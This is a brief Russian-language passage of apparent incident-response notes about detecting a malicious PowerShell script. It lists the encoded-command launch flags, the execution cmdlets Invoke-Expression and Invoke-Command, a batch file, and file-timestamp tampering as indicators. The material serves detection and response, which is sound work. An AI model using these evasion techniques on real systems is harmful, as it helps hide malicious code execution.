1. Почти всегда должен вызывать подозрение тот факт, что **PowerShell** скрипт закодирован и обфусцирован. 2. Скрипт запущен с ключами `-nop`, `-nol`, `-enc`, который обычно используется внутри вредоносных скриптов. 3. Признаком является и тот факт, что время создания файла было изменено. ### 3.Необходимые данные для осуществления мер по реагированию. - Изменение времени создания файла ``` {"text":"2022-03-30 19:18:40.000", "Name":"CreationUtcTime"}, {"text":"2022-03-31 02:24:47.308", "Name":"PreviousCreationUtcTime"} ``` - Использование **PS-скриптов** со следующими ключами - `-no` - `-nop` - `-ep` - `-w 1` - `-enc` - Использование командлетов - `Invoke-Expression` вычисляет или запускает указанную строку как команду и возвращает результаты выражения или команды; - `Invoke-Command` - выполняет команды на локальном или удаленном компьютере и возвращает все выходные данные команд, включая ошибки. - Файлы формата bat, в частности `l1.bat` - А также всевозможные **IoC**.